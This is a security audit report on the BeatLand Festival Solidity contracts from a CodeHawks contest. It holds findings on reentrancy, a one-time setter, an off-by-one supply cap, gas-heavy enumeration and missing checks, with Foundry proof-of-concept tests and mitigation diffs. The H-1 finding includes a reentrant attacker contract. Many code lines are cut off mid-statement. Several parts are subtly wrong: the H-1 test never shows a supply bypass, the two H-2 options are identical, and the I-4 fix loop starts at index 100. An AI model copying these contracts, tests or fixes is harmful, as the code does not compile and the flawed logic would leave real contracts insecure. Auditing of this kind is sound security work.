BeatLand Festival Security Review

Reviewer: Muhammad Faran

Date: July 27, 2025

Repo: CodeHawks-Contests/2025-07-beatland-festival

Table of Contents

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and view of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk-Classification

The severity of each finding combines **Impact** (the damage if exploited) and **Likelihood** (the chance of exploitation).
The matrix below illustrates how these two axes map to a single severity label:

Likelihood ↓ / Impact →	High	Medium	Low
High	**High**	**High/Medium**	**Medium**
Medium	**High/Medium**	**Medium**	**Medium-Low**
Low	**Medium**	**Medium-Low**	**Low**

Executive Summary

Severity	Number Of Issues Found
High	**2**
Medium	**2**
Low	**0**
Informational	**4**

Audit Details

Scope

```
src/
├── BeatToken.sol
├── FestivalPass.sol
├── interfaces
│   ├── IFestivalPass.sol
```

Protocol Summary

A festival NFT ecosystem on Ethereum where users purchase tiered passes (ERC1155), attend virtual(or not) performances to earn BEAT tokens (ERC20), and redeem unique memorabilia NFTs (integrated in the same ERC1155 contract) using BEAT tokens.

Actors

Owner:

The owner and deployer of contracts, sets the Organizer address, collects the festival proceeds.

Organizer:

Configures performances and memorabilia.

Attendee:

Customer that buys a pass and attends performances. They use rewards received for attending performances to buy memorabilia.

HIGHS

[H-1] Reentrancy via ERC1155 Mint Callback can lead to unlimited minting of passes

Description

- Normally, minting ERC1155 tokens is safe, but if the recipient is a **contract**, it can execute code during the mint callback.
- In `buyPass`, after minting, the contract calls an external contract (`BeatToken.mint`).
  If the recipient is a contract, it could reenter and exploit the contract's state.

```
function buyPass(uint256 collectionId) external payable {
    ...
    _mint(msg.sender, collectionId, 1, "");          // <- ERC1155 mint t
    ++passSupply[collectionId];                      // <- vulnerable sta
    ...
    BeatToken(beatToken).mint(msg.sender, bonus);    // <- external call
    ...
}
```

Risk

Likelihood

- Occurs when a contract calls `buyPass` and implements the ERC1155 receiver interface.
- The contract could **reenter before state is fully updated**.

Impact

- **State corruption**, such as minting more passes than allowed

---

Proof of Concept

A malicious contract can:

1. Call `buyPass`.
2. In its `onERC1155Received` callback, call `buyPass` again.
3. This reentry occurs **before** `passSupply[collectionId]++`, allowing bypass of supply limits.

Proof Of Code

Paste the following test into the `FestivalPass.t.sol`

```
contract ReentrantReceiver is IERC1155Receiver {
    FestivalPass public festivalPass;
    uint256 public passId;
    bool public reentered;

    constructor(FestivalPass _festivalPass, uint256 _passId) {
        festivalPass = _festivalPass;
        passId = _passId;
    }

    // // Fallback for receiving ETH
    // receive() external payable {}

    function attack() external payable {
        // Initiate the first buyPass call
        festivalPass.buyPass{value: 0.05 ether}(passId);
    }

    function onERC1155Received(address, address, uint256, uint256, bytes
        // Only reenter once to avoid infinite loop
        if (!reentered) {
            reentered = true;
            // Reenter buyPass during the mint callback
            festivalPass.buyPass{value: 0.05 ether}(passId);
        }
        return this.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(address, address, uint256[] calldata,
        external
        pure
        override
        returns (bytes4)
    {
        return this.onERC1155BatchReceived.selector;
    }

    function supportsInterface(bytes4 interfaceId) external pure overrid
        return interfaceId == type(IERC1155Receiver).interfaceId;
    }
}

contract ReentrancyTest is Test {
    FestivalPass public festivalPass;
```

```
    BeatToken public beatToken;

    address public organizer;
    uint256 constant GENERAL_PRICE = 0.05 ether;

    function setUp() public {
        organizer = makeAddr("organizer");
        // deploy FestivalPass here
        festivalPass = new FestivalPass(address(beatToken), organizer);
    }

    function test_ReentrancyOnBuyPass_AllowsDoubleMint() public {
        // Setup: configure pass with max supply 2
        vm.prank(organizer);
        festivalPass.configurePass(1, GENERAL_PRICE, 2);

        // Deploy the malicious receiver contract
        ReentrantReceiver attacker = new ReentrantReceiver(festivalPass,

        // Fund the attacker with enough ETH for two passes
        vm.deal(address(attacker), 2 * GENERAL_PRICE);

        // Instead, send enough for two passes to cover both calls
        attacker.attack{value: 2 * GENERAL_PRICE}();

        // Check how many passes the attacker received
        uint256 balance = festivalPass.balanceOf(address(attacker), 1);
        assertEq(balance, 2, "Attacker should have received 2 passes due
    }
}
```

Recommended Mitigation

Use a **reentrancy guard** to prevent reentry during execution:

```
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
```

Import and apply `ReentrancyGuard` from OpenZeppelin:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract FestivalPass is ERC1155, Ownable2Step, ReentrancyGuard {
    ...
}
```

[H-2] Irrecoverable Festival Contract Address; Permanent Loss of Mint/Burn Functionality

Description

- Normally, the owner should be able to set or update the festival contract address to enable minting and burning of BEAT tokens.
- The current implementation allows `setFestivalContract` to be called only **once**, and if the owner mistakenly sets it to the **zero address**, the mint and burn functions become permanently inaccessible.

```
function setFestivalContract(address _festival) external onlyOwner {
    require(festivalContract == address(0), "Festival contract already se
    festivalContract = _festival;
}
```

Risk

Likelihood:

This will occur when the owner accidentally sets the festival contract to the zero address or an incorrect address.
The function **cannot** be called again to fix the mistake.

Impact:

- Minting and burning of BEAT tokens is **permanently disabled**.
- The token contract becomes **unusable** for its intended festival functionality.

Proof of Concept

```
// Owner calls:
setFestivalContract(address(0));

// After this call, any call to mint or burnFrom will always revert,
// and the festival contract cannot be set again.
```

Recommended Mitigation

Allow the owner to update the festival contract address, but **prevent setting it to the zero address**.

Option 1: One-time Set with Zero Address Check

```
- require(festivalContract == address(0), "Festival contract already set"
- festivalContract = _festival;
+ require(_festival != address(0), "Invalid festival contract");
+ festivalContract = _festival;
```

Option 2: Allow Updating the Festival Contract Multiple Times

```
- require(festivalContract == address(0), "Festival contract already set"
+ require(_festival != address(0), "Invalid festival contract");
+ festivalContract = _festival;
```

MEDIUMS

[M-1] Off-by-One Error in Memorabilia Supply Cap; Last Item Cannot Be Minted

Description

Normally, the collection should allow minting **up to** `maxSupply` items.

The current check uses `< maxSupply`, but `currentItemId` starts at 1, so the last item (with `ID == maxSupply`) can **never be minted**.

```
function redeemMemorabilia(uint256 collectionId) external {
    ...
    require(collection.currentItemId < collection.maxSupply, "Collection
    ...
    uint256 itemId = collection.currentItemId++;
    ...
}
```

Risk

Likelihood

- This will occur **every time a collection reaches its maximum supply**.
- The **last item** in every collection will be **unmintable**.

Impact

- Users are **unable to mint the final item**, reducing actual supply below the intended cap.
- Potential **user frustration** and **loss of trust**.

Proof of Concept

If `maxSupply` is 5, only items `1-4` can be minted.

When `currentItemId == 5` , the check fails, and the function reverts.

Proof of Code

Add the following code into the test suite.

```
    function test_OffByOne_MemorabiliaSupplyCap() public {
        // Setup: Give user BEAT tokens
        vm.prank(address(festivalPass));
        beatToken.mint(user1, 1000e18);

        // Organizer creates a memorabilia collection with maxSupply = 3
        vm.prank(organizer);
        uint256 collectionId = festivalPass.createMemorabiliaCollection("

        // User redeems memorabilia up to the cap
        vm.startPrank(user1);
```

```
        festivalPass.redeemMemorabilia(collectionId); // itemId = 1
        festivalPass.redeemMemorabilia(collectionId); // itemId = 2

        // Third redemption should fail due to off-by-one bug (should all
        vm.expectRevert("Collection sold out");
        festivalPass.redeemMemorabilia(collectionId);
        vm.stopPrank();

        // Check that only 2 items were minted, not 3
        uint256 tokenId1 = festivalPass.encodeTokenId(collectionId, 1);
        uint256 tokenId2 = festivalPass.encodeTokenId(collectionId, 2);
        uint256 tokenId3 = festivalPass.encodeTokenId(collectionId, 3);

        assertEq(festivalPass.balanceOf(user1, tokenId1), 1);
        assertEq(festivalPass.balanceOf(user1, tokenId2), 1);
        assertEq(
            festivalPass.balanceOf(user1, tokenId3),
            0,
            "Should not be able to mint the last item due to off-by-one e
        );
    }
```

Recommended Mitigation

Change the check to allow minting **up to and including** `maxSupply`:

```
- require(collection.currentItemId < collection.maxSupply, "Collection sc
+ require(collection.currentItemId <= collection.maxSupply, "Collection s
```

[M-2] Inefficient User Memorabilia Enumeration leads to Denial of Service Risk

Description

- Normally, view functions should be **efficient** and not risk **out-of-gas** errors.
- The `getUserMemorabiliaDetailed` function loops over **all collections** and **all items** in each collection, which can cause **out-of-gas** errors if there are many items or collections.

```
function getUserMemorabiliaDetailed(address user)
    external
    view
    returns (uint256[] memory tokenIds, uint256[] memory collectionIds, u
{
    uint256 count = 0;
    for (uint256 cId = 1; cId < nextCollectionId; cId++) {
        for (uint256 iId = 1; iId < collections[cId].currentItemId; iId++
            uint256 tokenId = encodeTokenId(cId, iId);
            if (balanceOf(user, tokenId) > 0) {
                count++;
            }
        }
    }

    ...

    for (uint256 cId = 1; cId < nextCollectionId; cId++) {
        for (uint256 iId = 1; iId < collections[cId].currentItemId; iId++
            uint256 tokenId = encodeTokenId(cId, iId);
            if (balanceOf(user, tokenId) > 0) {
                tokenIds[index] = tokenId;
                collectionIds[index] = cId;
                itemIds[index] = iId;
                index++;
            }
        }
    }

    ...
}
```

Risk

Likelihood

- This will occur when the number of **collections or items per collection grows large**.
- Any user with a **large number of memorabilia tokens** may be unable to call this function due to gas limits.

Impact

- Users may be **unable to retrieve** their memorabilia details on-chain.
- **Off-chain services** relying on this function may fail or **be unable to serve users**.

Proof of Concept

- Deploy the contract with **1000 collections**, each containing **1000 items**.
- Calling `getUserMemorabiliaDetailed` will **revert due to out-of-gas**.

Recommended Mitigation

Track user-owned memorabilia via a mapping or emit events and recommend **off-chain indexing** for efficient enumeration.

```
- for (uint256 cId = 1; cId < nextCollectionId; cId++) {
-     for (uint256 iId = 1; iId < collections[cId].currentItemId; iId++)
-         uint256 tokenId = encodeTokenId(cId, iId);
-         if (balanceOf(user, tokenId) > 0) {
-             count++;
-         }
-     }
- }

+ // Option 1: Maintain a mapping from user to owned memorabilia token II
+ // Option 2: Recommend off-chain indexing using events for enumeration
```

INFORMATIONALS

[I-1] Missing Event Emission on Organizer Change

Description

Normally, when a critical role such as the **organizer** is changed, an event should be emitted for off-chain monitoring and transparency.

In the current implementation, the `setOrganizer` function updates the organizer address but does **not** emit any event, making it difficult to track changes.

```
function setOrganizer(address _organizer) public onlyOwner {
    organizer = _organizer;
}
```

Risk

Likelihood

- This will occur **whenever the owner changes** the organizer.
- Off-chain systems or users monitoring the contract will **not be notified** of the change.

Impact

- **Loss of transparency** for users and auditors.
- **Difficulty in tracking** role changes, which could hide **malicious or accidental** changes.

Recommended Mitigation

Add an **event emission** to the function:

```
- organizer = _organizer;
+ emit OrganizerChanged(organizer, _organizer);
+ organizer = _organizer;
```

[I-2] Owner-Only Withdraw Function — Incorrect Documentation/Comment

Description

- Normally, the function documentation should match the actual access control.
- The `withdraw` function comment says *"Organizer withdraws ETH"*, but in reality, **only the contract owner** can call it — not the organizer.

```
// Organizer withdraws ETH
function withdraw(address target) external onlyOwner {
```

```
        payable(target).transfer(address(this).balance);
    }
```

Risk

Likelihood

- This will occur **whenever someone reads the comment or documentation**.
- Users may be **misled** about who can withdraw funds.

Impact

- **Misunderstanding of contract permissions**.
- Potential **trust issues** or **operational confusion**.

Recommended Mitigation

Update the comment to **accurately reflect the access control**:

```
- // Organizer withdraws ETH
+ // Owner withdraws ETH
```

[I-3] No Zero Address Checks; Potential for Critical Misconfiguration

Description

Normally, critical addresses such as the **organizer**, **BeatToken**, or **withdrawal target** should **not** be set to the zero address.
The contract does **not** check for zero addresses in functions like `setOrganizer`, the constructor, or `withdraw`, allowing for **accidental or malicious misconfiguration**.

```
    function setOrganizer(address _organizer) public onlyOwner {
        organizer = _organizer;
    }
    ...
    function withdraw(address target) external onlyOwner {
```

```
        payable(target).transfer(address(this).balance);
    }
```

Risk

Likelihood

- This will occur when an owner or user **mistakenly sets a critical address to zero**.
- Could also be **exploited by a malicious owner**.

Impact

- Setting `organizer` to the **zero address disables all organizer-only functions**.
- Withdrawing to the zero address **burns all ETH** in the contract.

Proof of Concept

The owner calls:

```
setOrganizer(address(0));
```

This disables all organizer functionality in the contract.

Recommended Mitigation

Add **zero address checks** to all critical address setters and withdrawal functions:

```
- organizer = _organizer;
+ require(_organizer != address(0), "Invalid organizer");
+ organizer = _organizer;

- payable(target).transfer(address(this).balance);
+ require(target != address(0), "Invalid target");
+ payable(target).transfer(address(this).balance);
```

[I-4] Duplicate Collection Names or URIs causes User Confusion and Metadata Collisions

Description

- Normally, each memorabilia collection should have a **unique name** and **base URI** to ensure clear identification and prevent **metadata overlap**.
- The current implementation allows the organizer to create **multiple collections with the same name or base URI**, which can lead to confusion, misrepresentation, or metadata collisions.

```
function createMemorabiliaCollection(
    string memory name,
    string memory baseUri,
    uint256 priceInBeat,
    uint256 maxSupply,
    bool activateNow
) external onlyOrganizer returns (uint256) {
    require(priceInBeat > 0, "Price must be greater than 0");
    require(maxSupply > 0, "Supply must be at least 1");
    require(bytes(name).length > 0, "Name required");
    require(bytes(baseUri).length > 0, "URI required");
    // No check for duplicate name or baseUri

    uint256 collectionId = nextCollectionId++;
    collections[collectionId] = MemorabiliaCollection({
        name: name,
        baseUri: baseUri,
        priceInBeat: priceInBeat,
        maxSupply: maxSupply,
        currentItemId: 1,
        isActive: activateNow
    });

    emit CollectionCreated(collectionId, name, maxSupply);
    return collectionId;
}
```

Risk

Likelihood

- This will occur whenever the organizer creates a new collection with a **name or URI already used** by an existing collection.
- There is **no restriction or warning** in the contract to prevent this.

Impact

- Users may be **confused by multiple collections** with the same name, leading to **mistaken purchases or redemptions**.
- **Metadata collisions** can occur, causing NFTs to point to the same URI and making it impossible to distinguish between items from different collections.

Proof of Concept

The organizer creates two collections:

- Both with the name **"VIP Poster"**
- Both with the base URI **"ipfs://Qm123..."**

Users cannot distinguish between the two collections, and their NFTs may resolve to the **same metadata**.

Recommended Mitigation

Add checks to ensure that both the **name** and **base URI** are **unique** across all collections:

```
- // No check for duplicate name or baseUri
+ for (uint256 i = 100; i < nextCollectionId; i++) {
+     require(keccak256(bytes(collections[i].name)) != keccak256(bytes(na
+     require(keccak256(bytes(collections[i].baseUri)) != keccak256(bytes
+ }
```

This will prevent the creation of collections with **duplicate names or URIs**, improving clarity and **preventing metadata overlap**.
